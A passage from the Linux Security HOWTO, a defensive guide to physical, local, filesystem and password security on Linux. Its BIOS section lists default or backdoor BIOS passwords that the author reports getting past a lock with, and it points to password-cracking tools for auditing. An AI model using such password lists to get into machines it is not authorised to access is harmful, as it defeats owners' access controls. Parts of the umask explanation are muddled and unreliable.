This document has been divided into a number of sections. They cover several broad security issues. The first, Physical Security, covers how you need to protect your physical machine from tampering. The second, Local Security, describes how to protect your system from tampering by local users. The third, Files and Filesystem Security, shows you how to setup your file systems and permissions on your files. The next, Password Security and Encryption, discusses how to use encryption to better secure your machine and network. Kernel Security discusses what kernel options you should set or be aware of for a more secure system. Network Security, describes how to better secure your Linux system from network attacks. Security Preparation, discusses how to prepare your machine(s) before bringing them on-line. Next, What To Do During and After a Break-in, discusses what to do when you detect a system compromise in progress or detect one that has recently happened. In Security Resources, some primary security resources are enumerated. The Q and A section Frequently Asked Questions, answers some frequently-asked questions, and finally a conclusion in Conclusion.

The two main points to realize when reading this document are:

  • Be aware of your system. Check system logs such as /var/log/messages and keep an eye on your system, and
  • Keep your system up-to-date by making sure you have installed the current versions of software and have upgraded per security alerts. Just doing this will help make your system markedly more secure.


Linux Security HOWTO: Physical Security

 Next Previous Contents

3. Physical Security

The first layer of security you need to take into account is the physical security of your computer systems. Who has direct physical access to your machine? Should they? Can you protect your machine from their tampering? Should you?

How much physical security you need on your system is very dependent on your situation, and/or budget.

If you are a home user, you probably don't need a lot (although you might need to protect your machine from tampering by children or annoying relatives). If you are in a lab, you need considerably more, but users will still need to be able to get work done on the machines. Many of the following sections will help out. If you are in an office, you may or may not need to secure your machine off-hours or while you are away. At some companies, leaving your console unsecured is a termination offense.

Obvious physical security methods such as locks on doors, cables, locked cabinets, and video surveillance are all good ideas, but beyond the scope of this document. :)

3.1 Computer locks

Many modern PC cases include a "locking" feature. Usually this will be a socket on the front of the case that allows you to turn an included key to a locked or unlocked position. Case locks can help prevent someone from stealing your PC, or opening up the case and directly manipulating/stealing your hardware. They can also sometimes prevent someone from rebooting your computer from their own floppy or other hardware.

These case locks do different things according to the support in the motherboard and how the case is constructed. On many PC's they make it so you have to break the case to get the case open. On some others, they will not let you plug in new keyboards or mice. Check your motherboard or case instructions for more information. This can sometimes be a very useful feature, even though the locks are usually very low-quality and can easily be defeated by attackers with locksmithing.

Some machines (most notably SPARC's and macs) have a dongle on the back that, if you put a cable through, attackers would have to cut the cable or break the case to get into it. Just putting a padlock or combo lock through these can be a good deterrent to someone stealing your machine.

3.2 BIOS Security

The BIOS is the lowest level of software that configures or manipulates your x86-based hardware. LILO and other Linux boot methods access the BIOS to determine how to boot up your Linux machine. Other hardware that Linux runs on has similar software (Open Firmware on Macs and new Suns, Sun boot PROM, etc...). You can use your BIOS to prevent attackers from rebooting your machine and manipulating your Linux system.

Many PC BIOSs let you set a boot password. This doesn't provide all that much security (the BIOS can be reset, or removed if someone can get into the case), but might be a good deterrent (i.e. it will take time and leave traces of tampering). Similarly, on S/Linux (Linux for SPARC(tm) processor machines), your EEPROM can be set to require a boot-up password. This might slow attackers down.

Another risk of trusting BIOS passwords to secure your system is the default password problem. Most BIOS makers don't expect people to open up their computer and disconnect batteries if they forget their password and have equipped their BIOSes with default passwords that work regardless of your chosen password. Some of the more common passwords include:

j262 AWARD_SW AWARD_PW lkwpeter Biostar AMI Award bios BIOS setup cmos AMI!SW1 AMI?SW1 password hewittrand shift + s y x z

I tested an Award BIOS and AWARD_PW worked. These passwords are quite easily available from manufacturers' websites and http://astalavista.box.sk and as such a BIOS password cannot be considered adequate protection from a knowledgeable attacker.

Many x86 BIOSs also allow you to specify various other good security settings. Check your BIOS manual or look at it the next time you boot up. For example, some BIOSs disallow booting from floppy drives and some require passwords to access some BIOS features.

Note: If you have a server machine, and you set up a boot password, your machine will not boot up unattended. Keep in mind that you will need to come in and supply the password in the event of a power failure. ;(

3.3 Boot Loader Security

The various Linux boot loaders also can have a boot password set. LILO, for example, has password and restricted settings; password requires password at boot time, whereas restricted requires a boot-time password only if you specify options (such as single) at the LILO prompt.

>From the lilo.conf man page:

password=password
              The per-image option `password=...' (see below) applies to all images.

restricted
              The per-image option `restricted' (see below) applies to all images.

       password=password
              Protect the image by a password.

       restricted
              A password is only required to boot the image if
              parameters are specified  on  the  command  line
              (e.g. single).

Keep in mind when setting all these passwords that you need to remember them. :) Also remember that these passwords will merely slow the determined attacker. They won't prevent someone from booting from a floppy, and mounting your root partition. If you are using security in conjunction with a boot loader, you might as well disable booting from a floppy in your computer's BIOS, and password-protect the BIOS.

Also keep in mind that the /etc/lilo.conf will need to be mode "600" (readable and writing for root only), or others will be able to read your passwords!

If anyone has security-related information from a different boot loader, we would love to hear it. (grub, silo, milo, linload, etc).

Note: If you have a server machine, and you set up a boot password, your machine will not boot up unattended. Keep in mind that you will need to come in and supply the password in the event of a power failure. ;(

3.4 xlock and vlock

If you wander away from your machine from time to time, it is nice to be able to "lock" your console so that no one can tamper with, or look at, your work. Two programs that do this are: xlock and vlock.

xlock is a X display locker. It should be included in any Linux distributions that support X. Check out the man page for it for more options, but in general you can run xlock from any xterm on your console and it will lock the display and require your password to unlock.

vlock is a simple little program that allows you to lock some or all of the virtual consoles on your Linux box. You can lock just the one you are working in or all of them. If you just lock one, others can come in and use the console; they will just not be able to use your virtual console until you unlock it. vlock ships with RedHat Linux, but your mileage may vary.

Of course locking your console will prevent someone from tampering with your work, but won't prevent them from rebooting your machine or otherwise disrupting your work. It also does not prevent them from accessing your machine from another machine on the network and causing problems.

More importantly, it does not prevent someone from switching out of the X Window System entirely, and going to a normal virtual console login prompt, or to the VC that X11 was started from, and suspending it, thus obtaining your privileges. For this reason, you might consider only using it while under control of xdm.

3.5 Security of local devices

If you have a webcam or a microphone attached to your system, you should consider if there is some danger of a attacker gaining access to those devices. When not in use, unplugging or removing such devices might be an option. Otherwise you should carefully read and look at any software with provides access to such devices.

3.6 Detecting Physical Security Compromises

The first thing to always note is when your machine was rebooted. Since Linux is a robust and stable OS, the only times your machine should reboot is when you take it down for OS upgrades, hardware swapping, or the like. If your machine has rebooted without you doing it, that may be a sign that an intruder has compromised it. Many of the ways that your machine can be compromised require the intruder to reboot or power off your machine.

Check for signs of tampering on the case and computer area. Although many intruders clean traces of their presence out of logs, it's a good idea to check through them all and note any discrepancy.

It is also a good idea to store log data at a secure location, such as a dedicated log server within your well-protected network. Once a machine has been compromised, log data becomes of little use as it most likely has also been modified by the intruder.

The syslog daemon can be configured to automatically send log data to a central syslog server, but this is typically sent unencrypted, allowing an intruder to view data as it is being transferred. This may reveal information about your network that is not intended to be public. There are syslog daemons available that encrypt the data as it is being sent.

Also be aware that faking syslog messages is easy -- with an exploit program having been published. Syslog even accepts net log entries claiming to come from the local host without indicating their true origin.

Some things to check for in your logs:

  • Short or incomplete logs.
  • Logs containing strange timestamps.
  • Logs with incorrect permissions or ownership.
  • Records of reboots or restarting of services.
  • missing logs.
  • su entries or logins from strange places.

We will discuss system log data later in the HOWTO.


Linux Security HOWTO: Local Security

 Next Previous Contents

4. Local Security

The next thing to take a look at is the security in your system against attacks from local users. Did we just say local users? Yes!

Getting access to a local user account is one of the first things that system intruders attempt while on their way to exploiting the root account. With lax local security, they can then "upgrade" their normal user access to root access using a variety of bugs and poorly setup local services. If you make sure your local security is tight, then the intruder will have another hurdle to jump.

Local users can also cause a lot of havoc with your system even (especially) if they really are who they say they are. Providing accounts to people you don't know or for whom you have no contact information is a very bad idea.

4.1 Creating New Accounts

You should make sure you provide user accounts with only the minimal requirements for the task they need to do. If you provide your son (age 10) with an account, you might want him to only have access to a word processor or drawing program, but be unable to delete data that is not his.

Several good rules of thumb when allowing other people legitimate access to your Linux machine:

  • Give them the minimal amount of privileges they need.
  • Be aware when/where they login from, or should be logging in from.
  • Make sure you remove inactive accounts, which you can determine by using the 'last' command and/or checking log files for any activity by the user.
  • The use of the same userid on all computers and networks is advisable to ease account maintenance, and permits easier analysis of log data.
  • The creation of group user-id's should be absolutely prohibited. User accounts also provide accountability, and this is not possible with group accounts.

Many local user accounts that are used in security compromises have not been used in months or years. Since no one is using them they, provide the ideal attack vehicle.

4.2 Root Security

The most sought-after account on your machine is the root (superuser) account. This account has authority over the entire machine, which may also include authority over other machines on the network. Remember that you should only use the root account for very short, specific tasks, and should mostly run as a normal user. Even small mistakes made while logged in as the root user can cause problems. The less time you are on with root privileges, the safer you will be.

Several tricks to avoid messing up your own box as root:

  • When doing some complex command, try running it first in a non-destructive way...especially commands that use globing: e.g., if you want to do rm foo*.bak, first do ls foo*.bak and make sure you are going to delete the files you think you are. Using echo in place of destructive commands also sometimes works.
  • Provide your users with a default alias to the rm command to ask for confirmation for deletion of files.
  • Only become root to do single specific tasks. If you find yourself trying to figure out how to do something, go back to a normal user shell until you are sure what needs to be done by root.
  • The command path for the root user is very important. The command path (that is, the PATH environment variable) specifies the directories in which the shell searches for programs. Try to limit the command path for the root user as much as possible, and never include . (which means "the current directory") in your PATH. Additionally, never have writable directories in your search path, as this can allow attackers to modify or place new binaries in your search path, allowing them to run as root the next time you run that command.
  • Never use the rlogin/rsh/rexec suite of tools (called the r-utilities) as root. They are subject to many sorts of attacks, and are downright dangerous when run as root. Never create a .rhosts file for root.
  • The /etc/securetty file contains a list of terminals that root can login from. By default (on Red Hat Linux) this is set to only the local virtual consoles(vtys). Be very wary of adding anything else to this file. You should be able to login remotely as your regular user account and then su if you need to (hopefully over ssh or other encrypted channel), so there is no need to be able to login directly as root.
  • Always be slow and deliberate running as root. Your actions could affect a lot of things. Think before you type!

If you absolutely positively need to allow someone (hopefully very trusted) to have root access to your machine, there are a few tools that can help. sudo allows users to use their password to access a limited set of commands as root. This would allow you to, for instance, let a user be able to eject and mount removable media on your Linux box, but have no other root privileges. sudo also keeps a log of all successful and unsuccessful sudo attempts, allowing you to track down who used what command to do what. For this reason sudo works well even in places where a number of people have root access, because it helps you keep track of changes made.

Although sudo can be used to give specific users specific privileges for specific tasks, it does have several shortcomings. It should be used only for a limited set of tasks, like restarting a server, or adding new users. Any program that offers a shell escape will give root access to a user invoking it via sudo. This includes most editors, for example. Also, a program as innocuous as /bin/cat can be used to overwrite files, which could allow root to be exploited. Consider sudo as a means for accountability, and don't expect it to replace the root user and still be secure.


Linux Security HOWTO: Files and File system Security

 Next Previous Contents

5. Files and File system Security

A few minutes of preparation and planning ahead before putting your systems on-line can help to protect them and the data stored on them.

  • There should never be a reason for users' home directories to allow SUID/SGID programs to be run from there. Use the nosuid option in /etc/fstab for partitions that are writable by others than root. You may also wish to use nodev and noexec on users' home partitions, as well as /var, thus prohibiting execution of programs, and creation of character or block devices, which should never be necessary anyway.
  • If you are exporting file-systems using NFS, be sure to configure /etc/exports with the most restrictive access possible. This means not using wild cards, not allowing root write access, and exporting read-only wherever possible.
  • Configure your users' file-creation umask to be as restrictive as possible. See umask settings.
  • If you are mounting file systems using a network file system such as NFS, be sure to configure /etc/exports with suitable restrictions. Typically, using `nodev', `nosuid', and perhaps `noexec', are desirable.
  • Set file system limits instead of allowing unlimited as is the default. You can control the per-user limits using the resource-limits PAM module and /etc/pam.d/limits.conf. For example, limits for group users might look like this:

                    @users     hard  core    0
                @users     hard  nproc   50
                @users     hard  rss     5000

    This says to prohibit the creation of core files, restrict the number of processes to 50, and restrict memory usage per user to 5M.

    You can also use the /etc/login.defs configuration file to set the same limits.

  • The /var/log/wtmp and /var/run/utmp files contain the login records for all users on your system. Their integrity must be maintained because they can be used to determine when and from where a user (or potential intruder) has entered your system. These files should also have 644 permissions, without affecting normal system operation.

  • The immutable bit can be used to prevent accidentally deleting or overwriting a file that must be protected. It also prevents someone from creating a hard link to the file. See the chattr(1) man page for information on the immutable bit.

  • SUID and SGID files on your system are a potential security risk, and should be monitored closely. Because these programs grant special privileges to the user who is executing them, it is necessary to ensure that insecure programs are not installed. A favorite trick of crackers is to exploit SUID-root programs, then leave a SUID program as a back door to get in the next time, even if the original hole is plugged.

    Find all SUID/SGID programs on your system, and keep track of what they are, so you are aware of any changes which could indicate a potential intruder. Use the following command to find all SUID/SGID programs on your system:

                    root#  find / -type f \( -perm -04000 -o -perm -02000 \)

    The Debian distribution runs a job each night to determine what SUID files exist. It then compares this to the previous night's run. You can look in /var/log/setuid* for this log.

    You can remove the SUID or SGID permissions on a suspicious program with chmod, then restore them back if you absolutely feel it is necessary.

  • World-writable files, particularly system files, can be a security hole if a cracker gains access to your system and modifies them. Additionally, world-writable directories are dangerous, since they allow a cracker to add or delete files as he wishes. To locate all world-writable files on your system, use the following command:

                    root# find / -perm -2 ! -type l -ls
    and be sure you know why those files are writable. In the normal course of operation, several files will be world-writable, including some from /dev, and symbolic links, thus the ! -type l which excludes these from the previous find command.

  • Unowned files may also be an indication an intruder has accessed your system. You can locate files on your system that have no owner, or belong to no group with the command:

                    root# find / -nouser -o -nogroup -print

  • Finding .rhosts files should be a part of your regular system administration duties, as these files should not be permitted on your system. Remember, a cracker only needs one insecure account to potentially gain access to your entire network. You can locate all .rhosts files on your system with the following command:
                   root# find /home -name .rhosts -print

  • Finally, before changing permissions on any system files, make sure you understand what you are doing. Never change permissions on a file because it seems like the easy way to get things working. Always determine why the file has that permission before changing it.

5.1 Umask Settings

The umask command can be used to determine the default file creation mode on your system. It is the octal complement of the desired file mode. If files are created without any regard to their permissions settings, the user could inadvertently give read or write permission to someone that should not have this permission. Typical umask settings include 022, 027, and 077 (which is the most restrictive). Normally the umask is set in /etc/profile, so it applies to all users on the system. The file creation mask can be calculated by subtracting the desired value from 777. In other words, a umask of 777 would cause newly-created files to contain no read, write or execute permission for anyone. A mask of 666 would cause newly-created files to have a mask of 111. For example, you may have a line that looks like this:

                # Set the user's default umask
                umask 033
Be sure to make root's umask 077, which will disable read, write, and execute permission for other users, unless explicitly changed using chmod. In this case, newly-created directories would have 744 permissions, obtained by subtracting 033 from 777. Newly-created files using the 033 umask would have permissions of 644.

If you are using Red Hat, and adhere to their user and group ID creation scheme (User Private Groups), it is only necessary to use 002 for a umask. This is due to the fact that the default configuration is one user per group.

5.2 File Permissions

It's important to ensure that your system files are not open for casual editing by users and groups who shouldn't be doing such system maintenance.

Unix separates access control on files and directories according to three characteristics: owner, group, and other. There is always exactly one owner, any number of members of the group, and everyone else.

A quick explanation of Unix permissions:

Ownership - Which user(s) and group(s) retain(s) control of the permission settings of the node and parent of the node

Permissions - Bits capable of being set or reset to allow certain types of access to it. Permissions for directories may have a different meaning than the same set of permissions on files.

Read:

  • To be able to view contents of a file
  • To be able to read a directory

Write:

  • To be able to add to or change a file
  • To be able to delete or move files in a directory

Execute:

  • To be able to run a binary program or shell script
  • To be able to search in a directory, combined with read permission

Save Text Attribute: (For directories)

The "sticky bit" also has a different meaning when applied to directories than when applied to files. If the sticky bit is set on a directory, then a user may only delete files that the he owns or for which he has explicit write permission granted, even when he has write access to the directory. This is designed for directories like /tmp, which are world-writable, but where it may not be desirable to allow any user to delete files at will. The sticky bit is seen as a t in a long directory listing.

SUID Attribute: (For Files)

This describes set-user-id permissions on the file. When the set user ID access mode is set in the owner permissions, and the file is executable, processes which run it are granted access to system resources based on user who owns the file, as opposed to the user who created the process. This is the cause of many "buffer overflow" exploits.

SGID Attribute: (For Files)

If set in the group permissions, this bit controls the "set group id" status of a file. This behaves the same way as SUID, except the group is affected instead. The file must be executable for this to have any effect.

SGID Attribute: (For directories)

If you set the SGID bit on a directory (with chmod g+s directory), files created in that directory will have their group set to the directory's group.

You - The owner of the file

Group - The group you belong to

Everyone - Anyone on the system that is not the owner or a member of the group

File Example:

        -rw-r--r--  1 kevin  users         114 Aug 28  1997 .zlogin
        1st bit - directory?             (no)
         2nd bit - read by owner?         (yes, by kevin)
          3rd bit - write by owner?        (yes, by kevin)
           4th bit - execute by owner?      (no)
            5th bit - read by group?         (yes, by users)
             6th bit - write by group?        (no)
              7th bit - execute by group?      (no)
               8th bit - read by everyone?      (yes, by everyone)
                9th bit - write by everyone?     (no)
                 10th bit - execute by everyone?  (no)

The following lines are examples of the minimum sets of permissions that are required to perform the access described. You may want to give more permission than what's listed here, but this should describe what these minimum permissions on files do:

-r--------  Allow read access to the file by owner
--w-------  Allows the owner to modify or delete the file
            (Note that anyone with write permission to the directory
             the file is in can overwrite it and thus delete it)
---x------  The owner can execute this program, but not shell scripts,
             which still need read permission
---s------  Will execute with effective User ID = to owner
--------s-  Will execute with effective Group ID = to group
-rw------T  No update of "last modified time".  Usually used for swap
             files
---t------  No effect.  (formerly sticky bit)
Directory Example:

        drwxr-xr-x  3 kevin  users         512 Sep 19 13:47 .public_html/
        1st bit - directory?             (yes, it contains many files)
         2nd bit - read by owner?         (yes, by kevin)
          3rd bit - write by owner?        (yes, by kevin)
           4th bit - execute by owner?      (yes, by kevin)
            5th bit - read by group?         (yes, by users
             6th bit - write by group?        (no)
              7th bit - execute by group?      (yes, by users)
               8th bit - read by everyone?      (yes, by everyone)
                9th bit - write by everyone?     (no)
                 10th bit - execute by everyone?  (yes, by everyone)

The following lines are examples of the minimum sets of permissions that are required to perform the access described. You may want to give more permission than what's listed, but this should describe what these minimum permissions on directories do:

dr--------  The contents can be listed, but file attributes can't be read
d--x------  The directory can be entered, and used in full execution
             paths
dr-x------  File attributes can be read by owner
d-wx------  Files can be created/deleted, even if the directory
             isn't the current one
d------x-t  Prevents files from deletion by others with write
             access. Used on /tmp
d---s--s--  No effect

System configuration files (usually in /etc) are usually mode 640 (-rw-r-----), and owned by root. Depending on your site's security requirements, you might adjust this. Never leave any system files writable by a group or everyone. Some configuration files, including /etc/shadow, should only be readable by root, and directories in /etc should at least not be accessible by others.

SUID Shell Scripts

SUID shell scripts are a serious security risk, and for this reason the kernel will not honor them. Regardless of how secure you think the shell script is, it can be exploited to give the cracker a root shell.

5.3 Integrity Checking

Another very good way to detect local (and also network) attacks on your system is to run an integrity checker like Tripwire, Aide or Osiris. These integrety checkers run a number of checksums on all your important binaries and config files and compares them against a database of former, known-good values as a reference. Thus, any changes in the files will be flagged.

It's a good idea to install these sorts of programs onto a floppy, and then physically set the write protect on the floppy. This way intruders can't tamper with the integrety checker itself or change the database. Once you have something like this setup, it's a good idea to run it as part of your normal security administration duties to see if anything has changed.

You can even add a crontab entry to run the checker from your floppy every night and mail you the results in the morning. Something like:

                # set mailto
                MAILTO=kevin
                # run Tripwire
                15 05 * * * root /usr/local/adm/tcheck/tripwire
will mail you a report each morning at 5:15am.

Integrity checkers can be a godsend to detecting intruders before you would otherwise notice them. Since a lot of files change on the average system, you have to be careful what is cracker activity and what is your own doing.

You can find the freely available unsusported version of Tripwire at http://www.tripwire.org, free of charge. Manuals and support can be purchased.

Aide can be found at http://www.cs.tut.fi/~rammer/aide.html.

Osiris can be found at http://www.shmoo.com/osiris/.

5.4 Trojan Horses

"Trojan Horses" are named after the fabled ploy in Homer's "Iliad". The idea is that a cracker distributes a program or binary that sounds great, and encourages other people to download it and run it as root. Then the program can compromise their system while they are not paying attention. While they think the binary they just pulled down does one thing (and it might very well), it also compromises their security.

You should take care of what programs you install on your machine. RedHat provides MD5 checksums and PGP signatures on its RPM files so you can verify you are installing the real thing. Other distributions have similar methods. You should never run any unfamiliar binary, for which you don't have the source, as root! Few attackers are willing to release source code to public scrutiny.

Although it can be complex, make sure you are getting the source for a program from its real distribution site. If the program is going to run as root, make sure either you or someone you trust has looked over the source and verified it.


Linux Security HOWTO: Password Security and Encryption

 Next Previous Contents

6. Password Security and Encryption

One of the most important security features used today are passwords. It is important for both you and all your users to have secure, unguessable passwords. Most of the more recent Linux distributions include passwd programs that do not allow you to set a easily guessable password. Make sure your passwd program is up to date and has these features.

In-depth discussion of encryption is beyond the scope of this document, but an introduction is in order. Encryption is very useful, possibly even necessary in this day and age. There are all sorts of methods of encrypting data, each with its own set of characteristics.

Most Unicies (and Linux is no exception) primarily use a one-way encryption algorithm, called DES (Data Encryption Standard) to encrypt your passwords. This encrypted password is then stored in (typically) /etc/passwd (or less commonly) /etc/shadow. When you attempt to login, the password you type in is encrypted again and compared with the entry in the file that stores your passwords. If they match, it must be the same password, and you are allowed access. Although DES is a two-way encryption algorithm (you can code and then decode a message, given the right keys), the variant that most Unixes use is one-way. This means that it should not be possible to reverse the encryption to get the password from the contents of /etc/passwd (or /etc/shadow).

Brute force attacks, such as "Crack" or "John the Ripper" (see Section crack ) can often guess passwords unless your password is sufficiently random. PAM modules (see below) allow you to use a different encryption routine with your passwords (MD5 or the like). You can use Crack to your advantage, as well. Consider periodically running Crack against your own password database, to find insecure passwords. Then contact the offending user, and instruct him to change his password.

You can go to http://consult.cern.ch/writeup/security/security_3.html for information on how to choose a good password.

6.1 PGP and Public-Key Cryptography

Public-key cryptography, such as that used for PGP, uses one key for encryption, and one key for decryption. Traditional cryptography, however, uses the same key for encryption and decryption; this key must be known to both parties, and thus somehow transferred from one to the other securely.

To alleviate the need to securely transmit the encryption key, public-key encryption uses two separate keys: a public key and a private key. Each person's public key is available by anyone to do the encryption, while at the same time each person keeps his or her private key to decrypt messages encrypted with the correct public key.

There are advantages to both public key and private key cryptography, and you can read about those differences in the RSA Cryptography FAQ, listed at the end of this section.

PGP (Pretty Good Privacy) is well-supported on Linux. Versions 2.6.2 and 5.0 are known to work well. For a good primer on PGP and how to use it, take a look at the PGP FAQ: http://www.pgp.com/service/export/faq/55faq.cgi

Be sure to use the version that is applicable to your country. Due to export restrictions by the US Government, strong-encryption is prohibited from being transferred in electronic form outside the country.

US export controls are now managed by EAR (Export Administration Regulations). They are no longer governed by ITAR.

There is also a step-by-step guide for configuring PGP on Linux available at http://mercury.chem.pitt.edu/~angel/LinuxFocus/English/November1997/article7.html. It was written for the international version of PGP, but is easily adaptable to the United States version. You may also need a patch for some of the latest versions of Linux; the patch is available at ftp://metalab.unc.edu/pub/Linux/apps/crypto.

There is a project maintaining a free re-implementation of pgp with open source. GnuPG is a complete and free replacement for PGP. Because it does not use IDEA or RSA it can be used without any restrictions. GnuPG is in compliance with OpenPGP. See the GNU Privacy Guard web page for more information: http://www.gnupg.org/.

More information on cryptography can be found in the RSA cryptography FAQ, available at http://www.rsa.com/rsalabs/newfaq/. Here you will find information on such terms as "Diffie-Hellman", "public-key cryptography", "digital certificates", etc.

6.2 SSL, S-HTTP and S/MIME

Often users ask about the differences between the various security and encryption protocols, and how to use them. While this isn't an encryption document, it is a good idea to explain briefly what each protocol is, and where to find more information.

  • SSL: - SSL, or Secure Sockets Layer, is an encryption method developed by Netscape to provide security over the Internet. It supports several different encryption protocols, and provides client and server authentication. SSL operates at the transport layer, creates a secure encrypted channel of data, and thus can seamlessly encrypt data of many types. This is most commonly seen when going to a secure site to view a secure online document with Communicator, and serves as the basis for secure communications with Communicator, as well as many other Netscape Communications data encryption. More information can be found at http://www.consensus.com/security/ssl-talk-faq.html. Information on Netscape's other security implementations, and a good starting point for these protocols is available at http://home.netscape.com/info/security-doc.html. It's also worth noting that the SSL protocol can be used to pass many other common protocols, "wrapping" them for security. See http://www.quiltaholic.com/rickk/sslwrap/

  • S-HTTP: - S-HTTP is another protocol that provides security services across the Internet. It was designed to provide confidentiality, authentication, integrity, and non-repudiability [cannot be mistaken for someone else] while supporting multiple key-management mechanisms and cryptographic algorithms via option negotiation between the parties involved in each transaction. S-HTTP is limited to the specific software that is implementing it, and encrypts each message individually. [ From RSA Cryptography FAQ, page 138]

  • S/MIME: - S/MIME, or Secure Multipurpose Internet Mail Extension, is an encryption standard used to encrypt electronic mail and other types of messages on the Internet. It is an open standard developed by RSA, so it is likely we will see it on Linux one day soon. More information on S/MIME can be found at http://home.netscape.com/assist/security/smime/overview.html.

6.3 Linux IPSEC Implementations

Along with CIPE, and other forms of data encryption, there are also several other implementations of IPSEC for Linux. IPSEC is an effort by the IETF to create cryptographically-secure communications at the IP network level, and to provide authentication, integrity, access control, and confidentiality. Information on IPSEC and Internet draft can be found at http://www.ietf.org/html.charters/ipsec-charter.html. You can also find links to other protocols involving key management, and an IPSEC mailing list and archives.

The x-kernel Linux implementation, which is being developed at the University of Arizona, uses an object-based framework for implementing network protocols called x-kernel, and can be found at http://www.cs.arizona.edu/xkernel/hpcc-blue/linux.html. Most simply, the x-kernel is a method of passing messages at the kernel level, which makes for an easier implementation.

Another freely-available IPSEC implementation is the Linux FreeS/WAN IPSEC. Their web page states,

"These services allow you to build secure tunnels through untrusted networks. Everything passing through the untrusted net is encrypted by the IPSEC gateway machine and decrypted by the gateway at the other end. The result is Virtual Private Network or VPN. This is a network which is effectively private even though it includes machines at several different sites connected by the insecure Internet."

It's available for download from http://www.xs4all.nl/~freeswan/, and has just reached 1.0 at the time of this writing.

As with other forms of cryptography, it is not distributed with the kernel by default due to export restrictions.

6.4 ssh (Secure Shell) and stelnet

ssh and stelnet are suites of programs that allow you to login to remote systems and have a encrypted connection.

openssh is a suite of programs used as a secure replacement for rlogin, rsh and rcp. It uses public-key cryptography to encrypt communications between two hosts, as well as to authenticate users. It can be used to securely login to a remote host or copy data between hosts, while preventing man-in-the-middle attacks (session hijacking) and DNS spoofing. It will perform data compression on your connections, and secure X11 communications between hosts.

There are several ssh implementiations now. The original commercial implementation by Data Fellows can be found at The ssh home page can be found at http://www.datafellows.com.

The excellent Openssh implementation is based on a early version of the datafellows ssh and has been totally reworked to not include any patented or proprietary pieces. It is free and under a BSD license. It can be found at: http://www.openssh.com.

There is also a open source project to re-implement ssh from the ground up called "psst...". For more information see: http://www.net.lut.ac.uk/psst/

You can also use ssh from your Windows workstation to your Linux ssh server. There are several freely available Windows client implementations, including the one at http://guardian.htu.tuwien.ac.at/therapy/ssh/ as well as a commercial implementation from DataFellows, at http://www.datafellows.com.

SSLeay is a free implementation of Netscape's Secure Sockets Layer protocol, developed by Eric Young. It includes several applications, such as Secure telnet, a module for Apache, several databases, as well as several algorithms including DES, IDEA and Blowfish.

Using this library, a secure telnet replacement has been created that does encryption over a telnet connection. Unlike SSH, stelnet uses SSL, the Secure Sockets Layer protocol developed by Netscape. You can find Secure telnet and Secure FTP by starting with the SSLeay FAQ, available at http://www.psy.uq.oz.au/~ftp/Crypto/.

SRP is another secure telnet/ftp implementation. From their web page:

"The SRP project is developing secure Internet software for free worldwide use. Starting with a fully-secure Telnet and FTP distribution, we hope to supplant weak networked authentication systems with strong replacements that do not sacrifice user-friendliness for security. Security should be the default, not an option!"

For more information, go to http://www-cs-students.stanford.edu/~tjw/srp/

6.5 PAM - Pluggable Authentication Modules

Newer versions of the Red Hat Linux and Debian Linux distributions ship with a unified authentication scheme called "PAM". PAM allows you to change your authentication methods and requirements on the fly, and encapsulate all local authentication methods without recompiling any of your binaries. Configuration of PAM is beyond the scope of this document, but be sure to take a look at the PAM web site for more information. http://www.kernel.org/pub/linux/libs/pam/index.html.

Just a few of the things you can do with PAM:

  • Use encryption other than DES for your passwords. (Making them harder to brute-force decode)
  • Set resource limits on all your users so they can't perform denial-of-service attacks (number of processes, amount of memory, etc)
  • Enable shadow passwords (see below) on the fly
  • allow specific users to login only at specific times from specific places

Within a few hours of installing and configuring your system, you can prevent many attacks before they even occur. For example, use PAM to disable the system-wide usage of .rhosts files in user's home directories by adding these lines to /etc/pam.d/rlogin:

                #
                # Disable rsh/rlogin/rexec for users
                #
                login auth required pam_rhosts_auth.so no_rhosts

6.6 Cryptographic IP Encapsulation (CIPE)

The primary goal of this software is to provide a facility for secure (against eavesdropping, including traffic analysis, and faked message injection) subnetwork interconnection across an insecure packet network such as the Internet.

CIPE encrypts the data at the network level. Packets traveling between hosts on the network are encrypted. The encryption engine is placed near the driver which sends and receives packets.

This is unlike SSH, which encrypts the data by connection, at the socket level. A logical connection between programs running on different hosts is encrypted.

CIPE can be used in tunnelling, in order to create a Virtual Private Network. Low-level encryption has the advantage that it can be made to work transparently between the two networks connected in the VPN, without any change to application software.

Summarized from the CIPE documentation:

The IPSEC standards define a set of protocols which can be used (among other things) to build encrypted VPNs. However, IPSEC is a rather heavyweight and complicated protocol set with a lot of options, implementations of the full protocol set are still rarely used and some issues (such as key management) are still not fully resolved. CIPE uses a simpler approach, in which many things which can be parameterized (such as the choice of the actual encryption algorithm used) are an install-time fixed choice. This limits flexibility, but allows for a simple (and therefore efficient, easy to debug...) implementation.

Further information can be found at http://www.inka.de/~bigred/devel/cipe.html

As with other forms of cryptography, it is not distributed with the kernel by default due to export restrictions.

6.7 Kerberos

Kerberos is an authentication system developed by the Athena Project at MIT. When a user logs in, Kerberos authenticates that user (using a password), and provides the user with a way to prove her identity to other servers and hosts scattered around the network.

This authentication is then used by programs such as rlogin to allow the user to login to other hosts without a password (in place of the .rhosts file). This authentication method can also used by the mail system in order to guarantee that mail is delivered to the correct person, as well as to guarantee that the sender is who he claims to be.

Kerberos and the other programs that come with it, prevent users from "spoofing" the system into believing they are someone else. Unfortunately, installing Kerberos is very intrusive, requiring the modification or replacement of numerous standard programs.

You can find more information about kerberos by looking at the kerberos FAQ, and the code can be found at http://nii.isi.edu/info/kerberos/.

[From: Stein, Jennifer G., Clifford Neuman, and Jeffrey L. Schiller. "Kerberos: An Authentication Service for Open Network Systems." USENIX Conference Proceedings, Dallas, Texas, Winter 1998.]

Kerberos should not be your first step in improving security of your host. It is quite involved, and not as widely used as, say, SSH.

6.8 Shadow Passwords.

Shadow passwords are a means of keeping your encrypted password information secret from normal users. Recent versions of both Red Hat and Debian Linux use shadow passwords by default, but on other systems, encrypted passwords are stored in /etc/passwd file for all to read. Anyone can then run password-guesser programs on them and attempt to determine what they are. Shadow passwords, by contrast, are saved in /etc/shadow, which only privileged users can read. In order to use shadow passwords, you need to make sure all your utilities that need access to password information are recompiled to support them. PAM (above) also allows you to just plug in a shadow module; it doesn't require re-compilation of executables. You can refer to the Shadow-Password HOWTO for further information if necessary. It is available at http://metalab.unc.edu/LDP/HOWTO/Shadow-Password-HOWTO.html It is rather dated now, and will not be required for distributions supporting PAM.

6.9 "Crack" and "John the Ripper"

If for some reason your passwd program is not enforcing hard-to-guess passwords, you might want to run a password-cracking program and make sure your users' passwords are secure.

